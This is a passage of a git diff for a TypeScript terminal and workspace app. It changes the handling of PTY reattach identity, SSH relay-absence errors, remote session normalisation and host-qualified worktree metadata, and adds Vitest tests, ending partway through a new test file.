+// Why null-init + wrapper fns: see debug.ts — rolldown const-folds `export let fn = noop` bridges (STA-5661).
+let invalidatePendingPtyDrainPriorityImpl: ((id?: string, schedule?: boolean) => void) | null = null
+let invalidatePendingPtyDrainPolicyImpl: ((id?: string, schedule?: boolean) => void) | null = null
+
+export function invalidatePendingPtyDrainPriority(id?: string, schedule?: boolean): void {
+  invalidatePendingPtyDrainPriorityImpl?.(id, schedule)
+}
+
+export function invalidatePendingPtyDrainPolicy(id?: string, schedule?: boolean): void {
+  invalidatePendingPtyDrainPolicyImpl?.(id, schedule)
+}
 export const pendingHiddenRendererResizeOutputPtys = new Set<string>()
 export const deliveredHiddenRendererResizeOutputPtys = new Set<string>()
 export const KEEP_HISTORY_STOP_SETTLE_MS = 1_000
@@ -21,11 +30,11 @@ export const providerSnapshotRequiredPtys = new Set<string>()
 export function setInvalidatePendingPtyDrainPriority(
   fn: (id?: string, schedule?: boolean) => void
 ): void {
-  invalidatePendingPtyDrainPriority = fn
+  invalidatePendingPtyDrainPriorityImpl = fn
 }
 
 export function setInvalidatePendingPtyDrainPolicy(
   fn: (id?: string, schedule?: boolean) => void
 ): void {
-  invalidatePendingPtyDrainPolicy = fn
+  invalidatePendingPtyDrainPolicyImpl = fn
 }
diff --git a/src/main/ipc/pty/ipc/spawn-commit.ts b/src/main/ipc/pty/ipc/spawn-commit.ts
index 09e6fa8b8c8..7793ccf17ee 100644
--- a/src/main/ipc/pty/ipc/spawn-commit.ts
+++ b/src/main/ipc/pty/ipc/spawn-commit.ts
@@ -18,7 +18,10 @@ import {
 import { rememberPaneKeyForPty } from '../pane/key-state'
 import { resolvePaneSpawnReservation } from '../pane/spawn-reservation'
 import { seedTerminalRestoreRecordsFromSpawnResult } from '../pane/agent-session-owners'
-import { admitRendererAgentLaunchAuthority } from '../pane/launch-authority'
+import {
+  admitProviderReattachLaunchIdentity,
+  admitRendererAgentLaunchAuthority
+} from '../pane/launch-authority'
 import type { PtyIpcSpawnState } from './spawn-state'
 import { persistPtyIpcSpawnCommit } from './spawn-commit-persist'
 
@@ -82,6 +85,11 @@ export async function commitPtyIpcSpawn(ctx: PtyIpcSpawnState): Promise<PtySpawn
       hasStablePaneOwner: ctx.stablePaneOwner !== null,
       incarnationId: ctx.result.incarnationId
     })
+    const providerReattachLaunchIdentity = admitProviderReattachLaunchIdentity({
+      isReattach: ctx.result.isReattach === true,
+      launchAgent: ctx.result.launchAgent,
+      incarnationId: ctx.result.incarnationId
+    })
     ctx.deps.runtime?.registerPty(
       ctx.result.id,
       args.worktreeId,
@@ -95,7 +103,8 @@ export async function commitPtyIpcSpawn(ctx: PtyIpcSpawnState): Promise<PtySpawn
             tabId: args.tabId,
             leafId: ctx.metadataLeafId,
             ...(ctx.result.incarnationId ? { incarnationId: ctx.result.incarnationId } : {}),
-            ...(agentLaunchAuthority ? { agentLaunchAuthority } : {})
+            ...(agentLaunchAuthority ? { agentLaunchAuthority } : {}),
+            ...(providerReattachLaunchIdentity ? { providerReattachLaunchIdentity } : {})
           }
         : undefined,
       !args.connectionId
diff --git a/src/main/ipc/pty/pane/launch-authority.test.ts b/src/main/ipc/pty/pane/launch-authority.test.ts
new file mode 100644
index 00000000000..b2b04387794
--- /dev/null
+++ b/src/main/ipc/pty/pane/launch-authority.test.ts
@@ -0,0 +1,40 @@
+import { describe, expect, it } from 'vitest'
+import { admitProviderReattachLaunchIdentity } from './launch-authority'
+
+describe('admitProviderReattachLaunchIdentity', () => {
+  it('binds provider launch identity to a valid reattach incarnation', () => {
+    expect(
+      admitProviderReattachLaunchIdentity({
+        isReattach: true,
+        launchAgent: 'codex',
+        incarnationId: 'provider-incarnation'
+      })
+    ).toEqual({ launchAgent: 'codex', incarnationId: 'provider-incarnation' })
+  })
+
+  it.each([
+    { label: 'fresh spawn', isReattach: false, launchAgent: 'codex', incarnationId: 'incarnation' },
+    {
+      label: 'invalid agent',
+      isReattach: true,
+      launchAgent: 'unknown',
+      incarnationId: 'incarnation'
+    },
+    {
+      label: 'missing incarnation',
+      isReattach: true,
+      launchAgent: 'codex',
+      incarnationId: undefined
+    },
+    {
+      label: 'oversized incarnation',
+      isReattach: true,
+      launchAgent: 'codex',
+      incarnationId: 'x'.repeat(129)
+    }
+  ])('rejects $label metadata', ({ isReattach, launchAgent, incarnationId }) => {
+    expect(
+      admitProviderReattachLaunchIdentity({ isReattach, launchAgent, incarnationId })
+    ).toBeNull()
+  })
+})
diff --git a/src/main/ipc/pty/pane/launch-authority.ts b/src/main/ipc/pty/pane/launch-authority.ts
index 93f3061f0b3..ab00d29b4f5 100644
--- a/src/main/ipc/pty/pane/launch-authority.ts
+++ b/src/main/ipc/pty/pane/launch-authority.ts
@@ -30,6 +30,21 @@ export function admitRendererAgentLaunchAuthority(args: {
   return { launchToken: args.launchToken, launchAgent: args.launchAgent }
 }
 
+export function admitProviderReattachLaunchIdentity(args: {
+  isReattach?: boolean
+  launchAgent?: unknown
+  incarnationId?: unknown
+}): { incarnationId: string; launchAgent: TuiAgent } | null {
+  if (
+    !args.isReattach ||
+    !isTuiAgent(args.launchAgent) ||
+    !isPtyIncarnationId(args.incarnationId)
+  ) {
+    return null
+  }
+  return { incarnationId: args.incarnationId, launchAgent: args.launchAgent }
+}
+
 export function shouldRefreshNativeClaudeAgentTeamsEnv(args: {
   command?: string
   launchConfig?: SleepingAgentLaunchConfig
diff --git a/src/main/ipc/pty/pane/stable-pane-relay-absence-respawn.test.ts b/src/main/ipc/pty/pane/stable-pane-relay-absence-respawn.test.ts
new file mode 100644
index 00000000000..41831d68297
--- /dev/null
+++ b/src/main/ipc/pty/pane/stable-pane-relay-absence-respawn.test.ts
@@ -0,0 +1,165 @@
+import { describe, expect, it, vi } from 'vitest'
+import type { WorkspaceSessionState } from '../../../../shared/workspace-session-state-types'
+import {
+  SSH_SESSION_EXPIRED_ERROR,
+  SshPtyAbsentFromRelayError
+} from '../../../providers/ssh-pty-errors'
+import type { Store } from '../../../persistence'
+import type { IPtyProvider } from '../../../providers/types'
+import { spawnForStablePane, type StablePaneOwner } from './stable-owner'
+
+const LEAF = '1b3f2c4d-5e6a-4b7c-8d9e-0f1a2b3c4d5e'
+const SIBLING_LEAF = '2c4d3e5f-6a7b-4c8d-9e0f-1a2b3c4d5e6f'
+const WORKTREE = 'worktree-1'
+const OWNER: StablePaneOwner = {
+  tabId: 'tab-1',
+  leafId: LEAF,
+  ptyId: 'ssh:conn-1@@pty-1',
+  hasPersistedBinding: true
+}
+
+function spawnAfterAttachRejection(
+  error: unknown,
+  persistence?: { store: Store; worktreeId: string }
+): {
+  run: () => ReturnType<typeof spawnForStablePane>
+  spawn: ReturnType<typeof vi.fn>
+} {
+  const spawn = vi
+    .fn()
+    .mockRejectedValueOnce(error)
+    .mockResolvedValueOnce({ id: 'ssh:conn-1@@pty-2', isReattach: false })
+  return {
+    spawn,
+    run: () =>
+      spawnForStablePane({
+        runtime: undefined,
+        provider: { spawn } as unknown as IPtyProvider,
+        spawnOptions: { cols: 80, rows: 24 },
+        owner: OWNER,
+        connectionId: 'conn-1',
+        resolveOwner: () => null,
+        ...(persistence ? { store: persistence.store, worktreeId: persistence.worktreeId } : {})
+      })
+  }
+}
+
+/** Real retirement against an in-memory session, so `retireTerminalSurfaceFromPersistence` runs. */
+function sessionStore(leaves: string[]): { store: Store; read: () => WorkspaceSessionState } {
+  let session = {
+    tabsByWorktree: {
+      [WORKTREE]: [{ id: 'tab-1', worktreeId: WORKTREE, ptyId: 'ssh:conn-1@@pty-1' }]
+    },
+    terminalLayoutsByTabId: {
+      'tab-1': {
+        root: leaves.reduce<Record<string, unknown>>(
+          (node, leafId) =>
+            Object.keys(node).length === 0
+              ? { type: 'leaf', leafId }
+              : { type: 'split', direction: 'row', first: node, second: { type: 'leaf', leafId } },
+          {}
+        ),
+        activeLeafId: leaves[0],
+        ptyIdsByLeafId: Object.fromEntries(
+          leaves.map((leafId, index) => [leafId, `ssh:conn-1@@pty-${index + 1}`])
+        )
+      }
+    },
+    terminalPtyIncarnationsByPaneKey: {}
+  } as unknown as WorkspaceSessionState
+  return {
+    read: () => session,
+    store: {
+      getWorkspaceSession: () => session,
+      setWorkspaceSession: (next: WorkspaceSessionState) => {
+        session = next
+      },
+      flushOrThrow: () => {}
+    } as unknown as Store
+  }
+}
+
+describe('stable pane adoption after the relay reports the PTY absent', () => {
+  it('spawns fresh once the relay has positively answered for that id', async () => {
+    const { run, spawn } = spawnAfterAttachRejection(
+      new SshPtyAbsentFromRelayError(`${SSH_SESSION_EXPIRED_ERROR}: pty-1`)
+    )
+
+    const result = await run()
+
+    expect(spawn).toHaveBeenCalledTimes(2)
+    expect(spawn.mock.calls[0]?.[0]).toMatchObject({ attachOnly: true })
+    expect(spawn.mock.calls[1]?.[0]).not.toHaveProperty('sessionId')
+    expect(result.owner).toBeNull()
+  })
+
+  // A restarted relay renumbers from pty-1, so the message alone cannot distinguish absence from a
+  // lost link — only the class may authorise abandoning the binding.
+  it.each([
+    ['an expired session with no relay evidence', `${SSH_SESSION_EXPIRED_ERROR}: pty-1`],
+    ['a lost link', 'SSH connection lost, reconnecting...'],
+    ['a request timeout', 'Request "pty.attach" timed out after 10000ms']
+  ])('keeps the binding and refuses to respawn after %s', async (_label, message) => {
+    const { run, spawn } = spawnAfterAttachRejection(new Error(message))
+
+    await expect(run()).rejects.toThrow(message)
+    expect(spawn).toHaveBeenCalledTimes(1)
+  })
+
+  // Why a real store: without one the `args.worktreeId` guard short-circuits and the retirement —
+  // which can delete the parent tab and its layout — never runs. "Reconnect lost every tab" is the
+  // regression this subsystem was reverted for twice, so the composition needs its own coverage.
+  describe('with persistence actually reached', () => {
+    it('retires only the absent leaf and leaves the tab and its sibling bound', async () => {
+      const { store, read } = sessionStore([LEAF, SIBLING_LEAF])
+      const { run, spawn } = spawnAfterAttachRejection(
+        new SshPtyAbsentFromRelayError(`${SSH_SESSION_EXPIRED_ERROR}: pty-1`),
+        { store, worktreeId: WORKTREE }
+      )
+
+      const result = await run()
+
+      expect(spawn).toHaveBeenCalledTimes(2)
+      expect(result.owner).toBeNull()
+      const session = read()
+      expect(session.tabsByWorktree[WORKTREE]?.map((tab) => tab.id)).toEqual(['tab-1'])
+      const layout = session.terminalLayoutsByTabId['tab-1']
+      expect(layout).toBeDefined()
+      expect(layout?.ptyIdsByLeafId?.[SIBLING_LEAF]).toBe('ssh:conn-1@@pty-2')
+      expect(layout?.ptyIdsByLeafId?.[LEAF]).toBeUndefined()
+    })
+
+    // Pins current behaviour rather than blessing it: retiring the LAST leaf drops the tab from
+    // persistence, and the fallback returns owner=null so main does not re-persist a binding — tab
+    // survival then rests entirely on the renderer. If that ever regresses, this is the tripwire.
+    it('drops the tab when the absent leaf was the only one, leaving re-persistence to the renderer', async () => {
+      const { store, read } = sessionStore([LEAF])
+      const { run, spawn } = spawnAfterAttachRejection(
+        new SshPtyAbsentFromRelayError(`${SSH_SESSION_EXPIRED_ERROR}: pty-1`),
+        { store, worktreeId: WORKTREE }
+      )
+
+      const result = await run()
+
+      expect(spawn).toHaveBeenCalledTimes(2)
+      expect(result.owner).toBeNull()
+      const session = read()
+      expect(session.tabsByWorktree[WORKTREE]).toEqual([])
+      expect(session.terminalLayoutsByTabId['tab-1']).toBeUndefined()
+    })
+
+    it('leaves persistence untouched when the failure is not positive absence', async () => {
+      const { store, read } = sessionStore([LEAF, SIBLING_LEAF])
+      const before = JSON.stringify(read())
+      const { run, spawn } = spawnAfterAttachRejection(
+        new Error('SSH connection lost, reconnecting...'),
+        { store, worktreeId: WORKTREE }
+      )
+
+      await expect(run()).rejects.toThrow('SSH connection lost')
+
+      expect(spawn).toHaveBeenCalledTimes(1)
+      expect(JSON.stringify(read())).toBe(before)
+    })
+  })
+})
diff --git a/src/main/ipc/pty/provider/listener-lifecycle.ts b/src/main/ipc/pty/provider/listener-lifecycle.ts
index d6cb383c9a3..2b31257234e 100644
--- a/src/main/ipc/pty/provider/listener-lifecycle.ts
+++ b/src/main/ipc/pty/provider/listener-lifecycle.ts
@@ -17,7 +17,12 @@ export let rendererGateResetLoadHandler: (() => void) | null = null
 export let rendererGateResetGoneHandler: (() => void) | null = null
 export let rendererGateResetWebContents: WebContents | null = null
 // Why: the backgrounded-delivery dedupe map lives in the registerPtyHandlers closure but teardown funnels through module-scope clearProviderPtyState.
-export let clearBackgroundedDeliverySyncForPty: (id: string) => void = () => {}
+// Why null-init + wrapper fn: see delivery/debug.ts — rolldown const-folds `export let fn = noop` bridges (STA-5661).
+let clearBackgroundedDeliverySyncForPtyImpl: ((id: string) => void) | null = null
+
+export function clearBackgroundedDeliverySyncForPty(id: string): void {
+  clearBackgroundedDeliverySyncForPtyImpl?.(id)
+}
 
 export type RendererNavigationDetails = {
   isMainFrame: boolean
@@ -42,7 +47,7 @@ export function setRebindProviderListeners(fn: (() => void) | null): void {
 }
 
 export function setClearBackgroundedDeliverySyncForPty(fn: (id: string) => void): void {
-  clearBackgroundedDeliverySyncForPty = fn
+  clearBackgroundedDeliverySyncForPtyImpl = fn
 }
 
 export function setSshOutputIntakeCleanup(fn: (() => void) | null): void {
diff --git a/src/main/ipc/pty/provider/liveness.ts b/src/main/ipc/pty/provider/liveness.ts
index a8c005cce06..a5ff137f914 100644
--- a/src/main/ipc/pty/provider/liveness.ts
+++ b/src/main/ipc/pty/provider/liveness.ts
@@ -3,7 +3,10 @@ import type { AgentSessionOwnerBinding } from '../../../../shared/agent-session-
 import { agentSessionOwnerBindingsEqual } from '../../../../shared/claimed-agent-pty-owner'
 import { addNodePtyRecoveryHint } from '../../../daemon/node-pty-error-hints'
 import type { Store } from '../../../persistence'
-import { isSshPtyNotFoundError } from '../../../providers/ssh-pty-errors'
+import {
+  isSshPtyAbsentFromRelayError,
+  isSshPtyNotFoundError
+} from '../../../providers/ssh-pty-errors'
 import type { IPtyProvider } from '../../../providers/types'
 import { markClaudePtyExited } from '../../../claude-accounts/live-pty-gate'
 import { ptyIncarnationById, ptyOwnership } from './ownership-state'
@@ -54,7 +57,13 @@ export function normalizeNodePtySpawnError(err: unknown): Error {
 
 export function isPtyAlreadyGoneError(err: unknown): boolean {
   const message = err instanceof Error ? err.message : String(err)
-  return isSshPtyNotFoundError(err) || /Session not found/i.test(message)
+  return (
+    isSshPtyNotFoundError(err) ||
+    // Why: the reattach path rewrites the relay's wording to SSH_SESSION_EXPIRED and only this
+    // class preserves that the relay itself answered "absent" rather than the link dropping.
+    isSshPtyAbsentFromRelayError(err) ||
+    /Session not found/i.test(message)
+  )
 }
 
 export function delay(ms: number): Promise<void> {
diff --git a/src/main/ipc/pty/runtime/spawn-commit.ts b/src/main/ipc/pty/runtime/spawn-commit.ts
index ecf4f4ebcd4..38f9ced106e 100644
--- a/src/main/ipc/pty/runtime/spawn-commit.ts
+++ b/src/main/ipc/pty/runtime/spawn-commit.ts
@@ -33,10 +33,12 @@ import { toSshExecutionHostId } from '../../../../shared/execution-host'
 import { createTerminalSessionStateSaveFailureMessage } from '../../../../shared/terminal-session-state-save-failure'
 import { clearProviderPtyState } from '../provider/state-cleanup'
 import { resolvePaneSpawnReservation } from '../pane/spawn-reservation'
+import { admitProviderReattachLaunchIdentity } from '../pane/launch-authority'
 import type { RuntimePtySpawnState } from './spawn-state'
 
 export async function commitRuntimePtySpawn(ctx: RuntimePtySpawnState) {
   const args = ctx.args
+  const providerReattachLaunchIdentity = admitProviderReattachLaunchIdentity(ctx.result)
   try {
     ctx.stablePaneBindingPersisted = persistAdmittedStablePaneBinding({
       store: ctx.hostSessionBinding?.store,
@@ -69,7 +71,8 @@ export async function commitRuntimePtySpawn(ctx: RuntimePtySpawnState) {
       {
         tabId: owner.surface.tabId,
         leafId: owner.surface.leafId,
-        ...(ctx.result.incarnationId ? { incarnationId: ctx.result.incarnationId } : {})
+        ...(ctx.result.incarnationId ? { incarnationId: ctx.result.incarnationId } : {}),
+        ...(providerReattachLaunchIdentity ? { providerReattachLaunchIdentity } : {})
       }
     )
     if (!args.connectionId) {
@@ -204,7 +207,8 @@ export async function commitRuntimePtySpawn(ctx: RuntimePtySpawnState) {
         ? {
             tabId: args.tabId,
             leafId: ctx.metadataLeafId,
-            ...(ctx.result.incarnationId ? { incarnationId: ctx.result.incarnationId } : {})
+            ...(ctx.result.incarnationId ? { incarnationId: ctx.result.incarnationId } : {}),
+            ...(providerReattachLaunchIdentity ? { providerReattachLaunchIdentity } : {})
           }
         : undefined,
       !args.connectionId
diff --git a/src/main/ipc/remote-workspace-snapshot-normalization.test.ts b/src/main/ipc/remote-workspace-snapshot-normalization.test.ts
new file mode 100644
index 00000000000..7f57b432813
--- /dev/null
+++ b/src/main/ipc/remote-workspace-snapshot-normalization.test.ts
@@ -0,0 +1,88 @@
+import { describe, expect, it } from 'vitest'
+
+import {
+  normalizeSnapshot,
+  remoteWorkspaceSessionMatchesSnapshot
+} from './remote-workspace-snapshot-normalization'
+import type {
+  RemoteWorkspaceSession,
+  RemoteWorkspaceSnapshot
+} from '../../shared/remote-workspace-types'
+
+function session(overrides: Partial<RemoteWorkspaceSession> = {}): RemoteWorkspaceSession {
+  return {
+    activeWorktreePath: null,
+    activeTabId: null,
+    tabsByWorktreePath: {},
+    terminalLayoutsByTabId: {},
+    ...overrides
+  }
+}
+
+function snapshotOf(session: RemoteWorkspaceSession): RemoteWorkspaceSnapshot {
+  return { namespace: 'ns', revision: 3, updatedAt: 1, schemaVersion: 1, session }
+}
+
+/**
+ * Every declared field, each holding a value the normalizer must neither drop nor flatten.
+ *
+ * `Required` is the ratchet: normalizeRemoteSession rebuilds the session as an object literal, so a
+ * field added to the wire type and forgotten there is invisible — it round-trips through the
+ * projection, reaches the relay, and is stripped on the way back. Declaring the fixture Required
+ * makes the next such field a compile error here before it can become a silent data loss.
+ */
+const everyDeclaredField: Required<RemoteWorkspaceSession> = {
+  activeWorktreePath: '/repo',
+  activeTabId: 'tab-1',
+  tabsByWorktreePath: { '/repo': [{ id: 'tab-1', type: 'terminal', title: 'Shell' } as never] },
+  terminalLayoutsByTabId: { 'tab-1': { kind: 'leaf', ptyId: 'pty-1' } as never },
+  activeWorktreePathsOnShutdown: ['/repo'],
+  activeTabIdByWorktreePath: { '/repo': 'tab-1' },
+  remoteSessionIdsByTabId: { 'tab-1': 'session-1' },
+  lastVisitedAtByWorktreePath: { '/repo': 42 },
+  defaultTerminalTabsAppliedByWorktreePath: { '/repo': true }
+}
+
+describe('normalizeSnapshot: field coverage', () => {
+  it('copies every declared field of the wire session', () => {
+    const normalized = normalizeSnapshot(snapshotOf(everyDeclaredField), 'ns').session
+
+    expect(Object.keys(normalized).sort()).toEqual(Object.keys(everyDeclaredField).sort())
+    expect(normalized).toEqual(everyDeclaredField)
+  })
+})
+
+describe('normalizeSnapshot: defaultTerminalTabsAppliedByWorktreePath', () => {
+  it('carries the marker through instead of dropping it', () => {
+    // The renderer exports this field and its importer reads it, but the normalizer every read
+    // passes through never copied it — so the flag reached the relay and could never come back.
+    const raw = snapshotOf(session({ defaultTerminalTabsAppliedByWorktreePath: { '/repo': true } }))
+
+    expect(normalizeSnapshot(raw, 'ns').session.defaultTerminalTabsAppliedByWorktreePath).toEqual({
+      '/repo': true
+    })
+  })
+
+  it('treats an empty marker record as absent, like every other optional record', () => {
+    // The export always emits an object, so {} and absent both mean "no worktree has applied
+    // them". Collapsing them keeps a no-op export from looking like a change to the patch guard.
+    const raw = snapshotOf(session({ defaultTerminalTabsAppliedByWorktreePath: {} }))
+
+    expect(
+      normalizeSnapshot(raw, 'ns').session.defaultTerminalTabsAppliedByWorktreePath
+    ).toBeUndefined()
+  })
+})
+
+describe('remoteWorkspaceSessionMatchesSnapshot', () => {
+  it('sees a change that only sets the default-terminal-tabs marker', () => {
+    // patchRemoteWorkspaceSession short-circuits on this comparison, so a field it cannot see is a
+    // field that can never be written at all.
+    expect(
+      remoteWorkspaceSessionMatchesSnapshot(
+        snapshotOf(session()),
+        session({ defaultTerminalTabsAppliedByWorktreePath: { '/repo': true } })
+      )
+    ).toBe(false)
+  })
+})
diff --git a/src/main/ipc/remote-workspace-snapshot-normalization.ts b/src/main/ipc/remote-workspace-snapshot-normalization.ts
index 1d24063ec4d..749d83cc066 100644
--- a/src/main/ipc/remote-workspace-snapshot-normalization.ts
+++ b/src/main/ipc/remote-workspace-snapshot-normalization.ts
@@ -62,6 +62,11 @@ function normalizeRemoteSession(raw: unknown): RemoteWorkspaceSession {
     ),
     lastVisitedAtByWorktreePath: normalizeOptionalRecord<Record<string, number>>(
       input.lastVisitedAtByWorktreePath
+    ),
+    // Dropping this made the field write-only: every read stripped it, and the patch guard below
+    // compares normalized sessions, so a change that only sets it looked like no change at all.
+    defaultTerminalTabsAppliedByWorktreePath: normalizeOptionalRecord<Record<string, true>>(
+      input.defaultTerminalTabsAppliedByWorktreePath
     )
   }
 }
diff --git a/src/main/ipc/repos/project-host-setup-handlers.ts b/src/main/ipc/repos/project-host-setup-handlers.ts
index 610968614a2..3feb101324c 100644
--- a/src/main/ipc/repos/project-host-setup-handlers.ts
+++ b/src/main/ipc/repos/project-host-setup-handlers.ts
@@ -12,10 +12,8 @@ import type {
   ProjectHostSetupUpdateArgs,
   ProjectHostSetupUpdateResult
 } from '../../../shared/project-types'
-import {
-  getProjectHostSetupForRepo,
-  getProjectIdForProviderIdentity
-} from '../../../shared/project-host-setup-projection'
+import { getProjectIdForProviderIdentity } from '../../../shared/project-host-setup-projection'
+import { getProjectHostSetupForRepo } from '../../../shared/project-host-setup-lookup'
 import { parseExecutionHostId } from '../../../shared/execution-host'
 import { prepareLocalWorktreeRootForRepo } from '../../worktree-root-preparation'
 import { invalidateAuthorizedRootsCache } from '../registered-worktree-roots-cache'
diff --git a/src/main/ipc/workspace-cleanup-broad-scan.test.ts b/src/main/ipc/workspace-cleanup-broad-scan.test.ts
index 070ea461906..0bfa3e3ccc9 100644
--- a/src/main/ipc/workspace-cleanup-broad-scan.test.ts
+++ b/src/main/ipc/workspace-cleanup-broad-scan.test.ts
@@ -179,7 +179,7 @@ describe('workspace cleanup broad scan opt-in', () => {
       ...makeStore(),
       getWorktreeMeta: (worktreeId: string) =>
         worktreeId === 'repo-1::/repo-old' ? runtimeMeta : META_BY_WORKTREE_ID[worktreeId]
-    } as Store
+    } as unknown as Store
 
     const result = await scanWorkspaceCleanup(store, {
       includeAllWorkspaces: true
@@ -561,6 +561,36 @@ describe('workspace cleanup broad scan opt-in', () => {
     })
   })
 
+  it('keeps a canonical-only SSH cleanup row blocked while local metadata collides', async () => {
+    const worktreeId = 'repo-1::/shared/workspace'
+    const localRepo = { ...REPO, path: '/local/repo' }
+    const sshRepo = { ...REPO, path: '/remote/repo', connectionId: 'ssh-1' }
+    const localMeta = makeWorktreeMeta({
+      displayName: 'Local workspace',
+      hostId: 'local'
+    })
+    const remoteMeta = makeWorktreeMeta({
+      displayName: 'Canonical remote workspace',
+      hostId: 'ssh:ssh-1'
+    })
+    const store = {
+      ...makeStore([localRepo, sshRepo], { [worktreeId]: localMeta }),
+      getAllWorktreeMetaForHost: (hostId: string) =>
+        hostId === 'ssh:ssh-1' ? { [worktreeId]: remoteMeta } : { [worktreeId]: localMeta }
+    } as unknown as Store
+
+    const result = await scanWorkspaceCleanup(store, { includeAllWorkspaces: true })
+
+    expect(result.candidates).toContainEqual(
+      expect.objectContaining({
+        worktreeId,
+        displayName: 'Canonical remote workspace',
+        executionHostId: 'ssh:ssh-1',
+        blockers: ['ssh-disconnected']
+      })
+    )
+  })
+
   it('does not synthesize a disconnected SSH row from same-id local metadata', async () => {
     const sharedPath = '/shared/workspace'
     const worktreeId = `${REPO.id}::${sharedPath}`
diff --git a/src/main/ipc/workspace-cleanup-disconnected-ssh.ts b/src/main/ipc/workspace-cleanup-disconnected-ssh.ts
index c0e136b7b77..b616bec22bb 100644
--- a/src/main/ipc/workspace-cleanup-disconnected-ssh.ts
+++ b/src/main/ipc/workspace-cleanup-disconnected-ssh.ts
@@ -15,6 +15,10 @@ import {
   isWorkspaceInactiveForCleanup
 } from './workspace-cleanup-candidate'
 import { getRepoOwnedWorktreeMeta, isWorktreeMetaOwnedByRepo } from '../worktree-metadata-ownership'
+import {
+  readAllWorktreeMetaForHost,
+  readWorktreeMetaForHost
+} from '../persistence/host-qualified-worktree-meta'
 
 export function synthesizeDisconnectedSshCleanupCandidates(
   store: Store,
@@ -25,6 +29,7 @@ export function synthesizeDisconnectedSshCleanupCandidates(
   includeAllWorkspaces = false
 ): WorkspaceCleanupCandidate[] {
   const repoWorktreePrefix = `${repo.id}::`
+  const executionHostId = getRepoExecutionHostId(repo)
   if (targetWorktreeIds) {
     const candidates: WorkspaceCleanupCandidate[] = []
     // Why: targeted refreshes name their workspaces already; walking all
@@ -33,7 +38,11 @@ export function synthesizeDisconnectedSshCleanupCandidates(
       if (!worktreeId.startsWith(repoWorktreePrefix)) {
         continue
       }
-      const meta = store.getWorktreeMeta(worktreeId)
+      const meta =
+        readWorktreeMetaForHost(store, worktreeId, executionHostId) ??
+        (typeof store.getWorktreeMetaForHost === 'function'
+          ? undefined
+          : store.getWorktreeMeta(worktreeId))
       if (isWorktreeMetaOwnedByRepo(repo, meta, repoOwnerCount)) {
         candidates.push(createDisconnectedSshCandidate(repo, scannedAt, worktreeId, meta))
       }
@@ -42,7 +51,7 @@ export function synthesizeDisconnectedSshCleanupCandidates(
   }
 
   const candidates: WorkspaceCleanupCandidate[] = []
-  const allMeta = store.getAllWorktreeMeta()
+  const allMeta = readAllWorktreeMetaForHost(store, executionHostId)
   for (const worktreeId in allMeta) {
     if (!Object.hasOwn(allMeta, worktreeId) || !worktreeId.startsWith(repoWorktreePrefix)) {
       continue
diff --git a/src/main/ipc/workspace-cleanup-scan.ts b/src/main/ipc/workspace-cleanup-scan.ts
index b87667f0a63..58b093dbd72 100644
--- a/src/main/ipc/workspace-cleanup-scan.ts
+++ b/src/main/ipc/workspace-cleanup-scan.ts
@@ -1,6 +1,8 @@
 import type { Store } from '../persistence'
 import type { IGitProvider } from '../providers/types'
 import { isFolderRepo } from '../../shared/repo-kind'
+import { getRepoExecutionHostId } from '../../shared/execution-host'
+import { readWorktreeMetaForHost } from '../persistence/host-qualified-worktree-meta'
 import type { Repo } from '../../shared/repo-types'
 import type { GitWorktreeInfo, Worktree } from '../../shared/worktree/types'
 import { mergeWorktree } from './worktree-logic'
@@ -187,8 +189,11 @@ async function scanRepoWorkspaces(
       ? listWorkspaceCleanupFolderWorkspaces(store, repo, repoOwnerCount)
       : gitWorktrees.map((gitWorktree) => {
           const worktreeId = `${repo.id}::${gitWorktree.path}`
+          // Host-qualified first: the same repoId::path is a different checkout on each host.
+          const hostMeta = readWorktreeMetaForHost(store, worktreeId, getRepoExecutionHostId(repo))
           const meta = store.getWorktreeMeta(worktreeId)
-          const ownedMeta = isWorktreeMetaOwnedByRepo(repo, meta, repoOwnerCount) ? meta : undefined
+          const ownedMeta =
+            hostMeta ?? (isWorktreeMetaOwnedByRepo(repo, meta, repoOwnerCount) ? meta : undefined)
           return mergeWorktree(repo.id, gitWorktree, ownedMeta, repo.displayName)
         })
   // Why: with includeAllWorkspaces the browser shows every workspace and lets
diff --git a/src/main/ipc/worktree-create-lineage.test.ts b/src/main/ipc/worktree-create-lineage.test.ts
new file mode 100644
index 00000000000..fa7e101ac3f
--- /dev/null
+++ b/src/main/ipc/worktree-create-lineage.test.ts
@@ -0,0 +1,265 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+import type { CreateWorktreeArgs } from '../../shared/worktree/create-types'
+import type { WorktreeMeta } from '../../shared/worktree/meta-types'
+import type { Worktree } from '../../shared/worktree/types'
+import { folderWorkspaceKey, worktreeWorkspaceKey } from '../../shared/workspace-scope'
+import {
+  assertAttachableParentWorkspace,
+  recordWorkspaceLineageForCreatedWorktree
+} from './worktree-remote'
+
+const CHILD_ID = 'repo-1::/repos/child'
+const PARENT_ID = 'repo-1::/repos/parent'
+const CREATED_AT = 1_700_000_000_000
+
+function createdWorktree(overrides: Partial<Worktree> = {}): Worktree {
+  return {
+    id: CHILD_ID,
+    instanceId: 'child-instance',
+    repoId: 'repo-1',
+    hostId: 'local',
+    projectId: 'project-1',
+    path: '/repos/child',
+    head: 'abc123',
+    branch: 'refs/heads/child',
+    isBare: false,
+    isMainWorktree: false,
+    displayName: 'child',
+    comment: '',
+    linkedIssue: null,
+    linkedPR: null,
+    linkedLinearIssue: null,
+    isArchived: false,
+    isUnread: false,
+    isPinned: false,
+    sortOrder: 0,
+    lastActivityAt: 0,
+    ...overrides
+  }
+}
+
+function parentMeta(overrides: Partial<WorktreeMeta> = {}): WorktreeMeta {
+  return {
+    instanceId: 'parent-instance',
+    hostId: 'local',
+    projectId: 'project-1',
+    displayName: 'parent',
+    comment: '',
+    linkedIssue: null,
+    linkedPR: null,
+    linkedLinearIssue: null,
+    isArchived: false,
+    isUnread: false,
+    isPinned: false,
+    sortOrder: 0,
+    lastActivityAt: 0,
+    ...overrides
+  }
+}
+
+function createStore(options: {
+  metaById?: Record<string, WorktreeMeta>
+  folderWorkspaceIds?: string[]
+}) {
+  const metaById = options.metaById ?? {}
+  const folderWorkspaceIds = new Set(options.folderWorkspaceIds ?? [])
+  return {
+    getWorktreeMeta: vi.fn((id: string) => metaById[id]),
+    getFolderWorkspace: vi.fn((id: string) =>
+      folderWorkspaceIds.has(id) ? { id, path: `/folders/${id}` } : undefined
+    ),
+    setWorktreeLineage: vi.fn((_id: string, lineage: unknown) => lineage),
+    setWorkspaceLineage: vi.fn((lineage: unknown) => lineage)
+  }
+}
+
+function record(
+  store: ReturnType<typeof createStore>,
+  args: Partial<CreateWorktreeArgs>,
